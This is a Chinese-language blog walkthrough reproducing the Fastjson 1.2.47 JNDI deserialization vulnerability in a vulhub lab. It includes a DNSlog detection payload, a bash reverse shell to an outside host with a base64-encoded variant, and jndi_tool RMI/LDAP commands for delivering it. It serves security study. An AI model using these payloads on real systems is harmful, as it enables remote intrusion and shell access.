FastJson漏洞复现

FastJson漏洞复现

环境:vulhub/fastjson

	Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。
	它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。

漏洞发现

  • 出现json格式的地方,就可能使用FastJsson

1.通过报错页面可以识别使用FastJsson

image-20241123182605949

2.再通过DNSlog平台确认存在漏洞

image-20241123175511542
  • bp抓包,将请求体改为以下内容并发送,发现返回DNS地址
{
 "@type":"java.net.Inet4Address",
 "val":"qoxjdd.dnslog.cn"
}
image-20241123182948881

FastJs0n-1.2.47(反序列化)

原理:	
	fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
	
影响版本:
	Fastjson1.2.48之前

这里直接利用工具jndi_tool(需要jdk8环境)

https://github.com/wyzxxz/jndi_tool

利用一:JNDI注入+RMI

	JNDl(The Java Naming and Directory Interface,Java 命名和目录接口):一组在 Java 应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得可以用名称访问对象。
	RMI:Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。
  • 反弹shell语句为:
bash -i >& /dev/tcp/8.8.8.8/4444 0>&1
  • 在java中需要对其进行base64编码(大括号内不能有空格):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
  1. 使用工具生成payload,并开启9999端口的监听:
java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"
image-20241125124601002
  1. 把payload通过bp发送给靶机,注意必须更改为POST请求和Content-Type
image-20241125124810003
  1. 攻击机开启端口监听,即可收到shell
image-20241125124912872

利用二:JNDI注入+LDAP

LDAP是轻量级目录访问协议
  • 基本用法不变,只是将jndi.HRMIServer改为jndi.HLDAPServer
java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"
image-20241125125647719
  • 把payload通过bp发送给靶机,注意必须更改为POST请求和Content-Type
image-20241125125724763
  • 攻击机开启端口监听,即可收到shell
image-20241125125801318

其他利用工具:

[]:https://github.com/mbechler/marshalsec

posted @   left_shoulder  阅读(319)  评论(2编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示